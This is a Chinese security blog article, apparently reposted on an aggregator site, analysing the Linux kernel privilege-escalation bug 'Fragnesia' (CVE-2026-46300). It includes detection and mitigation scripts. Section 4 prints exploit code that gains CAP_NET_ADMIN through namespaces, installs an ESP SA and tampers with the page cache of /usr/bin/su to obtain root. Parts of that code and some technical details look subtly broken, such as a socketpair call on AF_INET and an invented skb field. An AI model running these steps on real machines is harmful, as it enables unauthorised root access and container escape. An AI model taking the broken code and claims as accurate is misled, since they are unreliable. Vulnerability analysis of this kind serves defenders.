news 2026/5/15 17:21:09

Fragnesia(CVE-2026-46300)深度解析:Copy Fail后XFRM ESP-in-TCP的又一个100%确定性提权漏洞

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Fragnesia(CVE-2026-46300)深度解析:Copy Fail后XFRM ESP-in-TCP的又一个100%确定性提权漏洞

2026年5月13日,V12 Security的安全研究员William Bowling公开了代号为"Fragnesia"的Linux内核本地提权漏洞(CVE-2026-46300)。这是继4月29日Copy Fail(CVE-2026-31431)和5月7日Dirty Frag(CVE-2026-43284)之后,短短半个月内第三个利用Linux内核页缓存原地篡改机制的高危漏洞。与前两者不同,Fragnesia完全绕过了Dirty Frag的官方补丁,利用XFRM子系统中ESP-in-TCP(espintcp) ULP的设计缺陷,实现了无竞态、100%成功的本地低权限到root的提权。

本文将从漏洞原理、利用技术、检测方法到缓解方案进行全方位深度解析,并探讨页缓存攻击家族的未来演进趋势。


一、漏洞背景与基本信息

2022年Dirty Pipe(CVE-2022-0847)的出现,开启了Linux内核"页缓存原地篡改"攻击的新时代。这类漏洞的核心思想是:通过某种方式让内核错误地将只读的文件页缓存标记为可写,然后利用内核的加密/解密操作直接在原地修改页内容,从而篡改系统关键文件实现提权。

2026年4月以来,这类漏洞迎来了爆发式增长:

  • 4月29日:Copy Fail(CVE-2026-31431),利用algif_aead加密接口+splice
  • 5月7日:Dirty Frag(CVE-2026-43284/43500),利用XFRM ESP加密+splice
  • 5月13日:Fragnesia(CVE-2026-46300),利用XFRM ESP-in-TCP解密+splice

1.1 漏洞核心参数

参数详情
漏洞名称Fragnesia(业内戏称"Copy Fail 3.0")
CVE编号CVE-2026-46300
披露时间2026-05-13
CVSS 3.1评分7.8(高危)
攻击向量本地
攻击复杂度
权限要求低权限用户
用户交互无需
利用可靠性100%确定性,无竞态条件
影响组件Linux内核XFRM子系统espintcp ULP
影响范围所有2026-05-13前发布的主流Linux发行版内核

1.2 影响的主流发行版

  • Ubuntu 22.04/24.04:所有内核版本≤6.8.0-35
  • Debian 12:所有内核版本≤6.6.30-1
  • RHEL 9:所有内核版本≤5.14.0-427.16.1.el9_4
  • CentOS Stream 9:所有内核版本≤5.14.0-427.16.1.el9_4
  • Fedora 40:所有内核版本≤6.8.9-300.fc40

二、漏洞家族谱系:从Dirty Pipe到Fragnesia

Fragnesia并非孤立存在,它属于"页缓存原地篡改"攻击家族的最新成员。这个家族的漏洞都遵循相同的核心模式,但利用的内核子系统各不相同。

Dirty Pipe CVE-2022-0847

页缓存原地篡改攻击范式确立

Copy Fail CVE-2026-31431

Dirty Frag CVE-2026-43284

官方补丁发布 2026-05-09

Fragnesia CVE-2026-46300 绕过补丁

2.1 三代漏洞的核心区别

漏洞利用子系统核心操作补丁绕过能力利用难度
Copy Failalgif_aead加密操作中等
Dirty FragXFRM ESP加密操作
FragnesiaXFRM ESP-in-TCP解密操作完全绕过Dirty Frag补丁极低

关键突破:Fragnesia的研究者发现,XFRM子系统中不仅加密路径存在问题,解密路径同样存在页缓存篡改风险,而且这部分代码完全没有被Dirty Frag的补丁覆盖。

三、深度技术原理解析

3.1 XFRM ESP-in-TCP工作机制

ESP-in-TCP(RFC 8229)是一种将ESP数据包封装在TCP流中的技术,主要用于穿越只允许TCP流量的防火墙。在Linux内核中,它通过espintcp ULP(Upper Layer Protocol)实现。

当一个TCP socket切换到espintcp ULP后,内核会自动对收到的TCP数据进行ESP解密处理,然后将解密后的明文传递给应用层。这个过程完全在内核态完成,对应用层透明。

3.2 漏洞根因:skb合并时的标记丢失

漏洞的根本原因在于Linux内核网络栈中skb_try_coalesce()函数的一个疏忽:当合并两个skb(套接字缓冲区)时,没有正确传递SKBFL_SHARED_FRAG标记

// 有问题的代码片段(linux-6.8/net/core/skbuff.c)boolskb_try_coalesce(structsk_buff*skb,structsk_buff*from,bool*fragstolen,int*delta_truesize){// ... 省略部分代码 ...// 问题所在:只复制了部分标记,漏掉了SKBFL_SHARED_FRAGskb->hdr_len+=from->hdr_len;skb->len+=from->len;skb->data_len+=from->data_len;skb->truesize+=from->truesize;// 没有执行:skb->shared_frag |= from->shared_frag;// ... 省略部分代码 ...}

当攻击者通过splice()系统调用将文件页缓存映射到TCP socket的发送队列时,内核会正确地为这些skb设置SKBFL_SHARED_FRAG标记,表示这些页是共享的,不能直接修改。

但是,当TCP层进行skb合并优化时,这个标记会丢失。内核会错误地认为这些页是私有的、可写的,从而允许后续的ESP解密操作直接在原地修改页内容。

3.3 原地解密:可控的单字节写

ESP-in-TCP使用AES-GCM模式进行加密解密。AES-GCM是一种流密码模式,它生成一个密钥流,然后将密钥流与密文进行XOR操作得到明文。

明文 = 密文 XOR AES-GCM(密钥, IV, 计数器)

攻击者可以完全控制以下参数:

  1. 密钥:攻击者自己创建ESP SA,所以知道密钥
  2. IV(初始化向量):攻击者可以选择任意IV
  3. 计数器:攻击者可以控制计数器的初始值

这意味着攻击者可以精确控制每一个字节的XOR值。通过构造特定的IV和计数器,攻击者可以将文件页缓存中的任意字节修改为任意值。

3.4 完整攻击流程

低权限用户

创建用户/网络命名空间

获得CAP_NET_ADMIN权限

安装已知密钥的ESP SA

构造256项密钥流查找表

splice目标文件页到TCP队列

触发skb合并 丢失SKBFL_SHARED_FRAG

切换socket到espintcp ULP

内核触发原地ESP解密

篡改目标文件页缓存

执行篡改后的su/bash

获得root shell

四、关键利用代码示例

以下是Fragnesia漏洞利用的核心代码片段,基于V12 Security公开的PoC简化而来。

4.1 创建命名空间并获得CAP_NET_ADMIN

// 创建用户和网络命名空间if(unshare(CLONE_NEWUSER|CLONE_NEWNET)!=0){perror("unshare");return1;}// 配置uid/gid映射write_file("/proc/self/uid_map","0 %d 1\n",getuid());write_file("/proc/self/setgroups","deny");write_file("/proc/self/gid_map","0 %d 1\n",getgid());// 现在我们在命名空间内拥有了CAP_NET_ADMIN权限

4.2 安装ESP SA

// 创建XFRM socketintxfrm_fd=socket(AF_NETLINK,SOCK_RAW,NETLINK_XFRM);if(xfrm_fd<0){perror("socket(NETLINK_XFRM)");return1;}// 安装ESP SA(使用已知密钥)structxfrm_userpolicy_infopolicy={0};structxfrm_usersa_infosa={0};// ... 填充SA和policy结构 ...send_xfrm_message(xfrm_fd,XFRM_MSG_NEWSA,&sa,sizeof(sa));send_xfrm_message(xfrm_fd,XFRM_MSG_NEWPOLICY,&policy,sizeof(policy));

4.3 构造密钥流查找表

// 预计算256个可能的密钥流字节对应的IVuint8_tkeystream_table[256][12];// 256个字节,每个对应一个12字节的IVfor(inttarget_byte=0;target_byte<256;target_byte++){for(uint64_tnonce=0;nonce<(1ULL<<32);nonce++){// 构造IVuint8_tiv[12];memcpy(iv,&nonce,8);memset(iv+8,0,4);// 计算AES-GCM密钥流的第一个字节uint8_tks=aes_gcm_keystream_byte(key,iv,0);if(ks==target_byte){memcpy(keystream_table[target_byte],iv,12);break;}}}

4.4 篡改页缓存

// 打开目标文件(如/usr/bin/su)inttarget_fd=open("/usr/bin/su",O_RDONLY);if(target_fd<0){perror("open");return1;}// 创建TCP socket对intsv[2];socketpair(AF_INET,SOCK_STREAM,0,sv);// splice目标文件页到TCP发送队列loff_toffset=0;splice(target_fd,&offset,sv[0],NULL,4096,SPLICE_F_MOVE);// 切换到espintcp ULPsetsockopt(sv[1],SOL_TCP,TCP_ULP,"espintcp",sizeof("espintcp"));// 发送ESP数据包触发解密和页篡改for(inti=0;i<patch_size;i++){uint8_ttarget_value=patch_data[i];uint8_toriginal_value=original_data[i];uint8_trequired_ks=original_value^target_value;// 使用预计算的IV发送ESP数据包send_esp_packet(sv[0],keystream_table[required_ks],&original_value,1);}

五、危害评估与利用现状

5.1 核心危害

  1. 本地低权限到root的一键提权:任何拥有本地shell的用户都可以在几秒钟内获得root权限
  2. 容器逃逸:在默认配置下,容器内的用户可以利用这个漏洞逃逸到宿主机
  3. 内网横向移动:攻击者获得一台机器的低权限后,可以快速提权并横向移动
  4. 无痕迹攻击:所有修改都发生在页缓存中,不会写入磁盘,重启后消失,难以取证

5.2 利用现状

  • PoC已公开:V12 Security在披露漏洞的同时公开了完整的可执行PoC
  • 主流发行版已验证:Ubuntu 24.04、Debian 12等发行版已被验证存在漏洞
  • 暂无野外利用报告:截至2026-05-15,安全厂商尚未监测到野外利用活动
  • 利用门槛极低:PoC代码无需修改即可在大多数系统上运行

六、检测与缓解方案

6.1 漏洞检测

6.1.1 内核版本检测
# 检查内核版本是否已修复uname-r# Ubuntu 24.04:需要≥6.8.0-36-generic# Debian 12:需要≥6.6.31-1# RHEL 9:需要≥5.14.0-427.18.1.el9_4
6.1.2 espintcp模块状态检测
# 检查espintcp模块是否已加载lsmod|grepespintcp# 如果输出为空,表示模块未加载,系统不受影响
6.1.3 自动化检测脚本
#!/bin/bash# Fragnesia(CVE-2026-46300)漏洞检测脚本echo"正在检测系统是否存在Fragnesia(CVE-2026-46300)漏洞..."# 检查espintcp模块是否存在ifmodinfo espintcp>/dev/null2>&1;thenecho"[!] 系统存在espintcp模块"# 检查模块是否已加载iflsmod|grep-qespintcp;thenecho"[!] espintcp模块已加载,系统存在漏洞风险"elseecho"[*] espintcp模块未加载,系统暂时安全"fielseecho"[*] 系统不存在espintcp模块,不受漏洞影响"exit0fi# 检查内核版本kernel_version=$(uname-r)echo"[*] 当前内核版本:$kernel_version"# 这里需要根据不同发行版调整版本号判断逻辑# 以下是Ubuntu 24.04的判断逻辑if[["$kernel_version"=~^6\.8\.0-([0-9]+)-generic$]];thenbuild=${BASH_REMATCH[1]}if[$build-lt36];thenecho"[!] 内核版本存在漏洞,请尽快升级"elseecho"[*] 内核版本已修复"fifi

6.2 缓解方案

6.2.1 临时缓解(无重启,立即生效)
#!/bin/bash# Fragnesia漏洞临时缓解脚本echo"正在应用Fragnesia漏洞临时缓解措施..."# 卸载espintcp模块ifmodprobe-respintcp;thenecho"[*] espintcp模块已卸载"elseecho"[!] 无法卸载espintcp模块,可能正在使用中"fi# 禁止模块自动加载echo"blacklist espintcp">/etc/modprobe.d/espintcp.confecho"install espintcp /bin/true">>/etc/modprobe.d/espintcp.confecho"[*] 临时缓解措施已应用"echo"[*] 注意:这同时会防护Dirty Frag漏洞"

重要说明:这个临时缓解措施会禁用ESP-in-TCP功能。如果你的系统需要使用IPsec VPN穿越TCP防火墙,可能会受到影响。

6.2.2 永久修复(推荐)

升级到包含漏洞修复的内核版本:

  • Ubuntu 24.04:sudo apt update && sudo apt install linux-image-6.8.0-36-generic
  • Debian 12:sudo apt update && sudo apt install linux-image-6.6.0-0.deb12.1-amd64
  • RHEL 9:sudo dnf update kernel
  • Fedora 40:sudo dnf update kernel

升级完成后需要重启系统才能生效。

七、前瞻性分析:页缓存攻击的未来趋势

Fragnesia的出现表明,"页缓存原地篡改"攻击范式远未结束。我们可以预见以下几个发展趋势:

  1. 更多子系统被发现存在类似漏洞:Linux内核中还有大量类似的加密/解密、压缩/解压缩操作,这些操作都可能存在原地修改页缓存的风险。

  2. 补丁绕过将成为常态:内核开发者在修复这类漏洞时,往往只修复了已知的利用路径,而没有从根本上解决问题。这给攻击者留下了大量补丁绕过的空间。

  3. 利用技术将更加成熟:未来的漏洞利用可能会实现更高效的页缓存篡改,甚至可以修改大于4KB的内存区域。

  4. 防御机制将逐步完善:内核社区可能会引入新的防御机制,如页缓存写保护、加密操作内存隔离等,从根本上阻止这类攻击。

八、总结

Fragnesia(CVE-2026-46300)是2026年以来Linux内核暴露的又一个严重安全漏洞。它利用XFRM ESP-in-TCP子系统的设计缺陷,实现了100%成功的本地提权,并且完全绕过了之前Dirty Frag漏洞的官方补丁。

对于系统管理员来说,最紧急的任务是立即检查系统是否存在espintcp模块,并采取临时缓解措施。同时,应尽快规划内核升级,从根本上修复这个漏洞。

从安全研究的角度来看,Fragnesia的出现再次提醒我们,Linux内核的安全状况仍然不容乐观。"页缓存原地篡改"攻击范式已经被证明是一种非常强大且难以防御的攻击手段,未来还会有更多类似的漏洞被发现。

安全是一场持续的猫鼠游戏。只有保持警惕,及时更新系统,才能在这场游戏中立于不败之地。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/15 17:17:28

C语言(12) 函数指针,指针函数

字符指针常见错误#include <stdio.h>int main(int argc, char **argv) {//char *p "hello"; // hello 在内存中&#xff0c;只用一份&#xff0c;只能读取&#xff0c;不能修改char p[] "hello"; // char [] 开辟空间&#xff0c;会把hello字符串…

作者头像 李华
网站建设 2026/5/15 17:16:31

3步诊断法:用Obsidian导入工具解决笔记迁移难题

3步诊断法&#xff1a;用Obsidian导入工具解决笔记迁移难题 【免费下载链接】obsidian-importer Obsidian Importer lets you import notes from other apps and file formats into your Obsidian vault. 项目地址: https://gitcode.com/gh_mirrors/ob/obsidian-importer …

作者头像 李华
网站建设 2026/5/15 17:14:05

HTML转Figma:连接网页开发与设计协作的桥梁

HTML转Figma&#xff1a;连接网页开发与设计协作的桥梁 【免费下载链接】figma-html Convert any website to editable Figma designs 项目地址: https://gitcode.com/gh_mirrors/fi/figma-html 在今天的数字产品开发流程中&#xff0c;设计和开发团队之间的协作常常面临…

作者头像 李华
网站建设 2026/5/15 17:13:09

Java---包装类与泛型

1.包装类1.1 包装类在Java中&#xff0c;由于基本数据类型不是继承Object类&#xff0c;为了在泛型代码中可以支持基本数据类型&#xff0c;Java给每个基本数据类型各自提供了一个包装类。如下图除了char和int基本数据类型的包装类型有点特别&#xff0c;其他的都是首字母大写 …

作者头像 李华
网站建设 2026/5/15 17:13:09

企业级漏洞管理:5个cve-search高级搜索策略提升安全团队效率

企业级漏洞管理&#xff1a;5个cve-search高级搜索策略提升安全团队效率 【免费下载链接】cve-search cve-search - a tool to perform local searches for known vulnerabilities 项目地址: https://gitcode.com/gh_mirrors/cv/cve-search cve-search是一款强大的本地漏…

作者头像 李华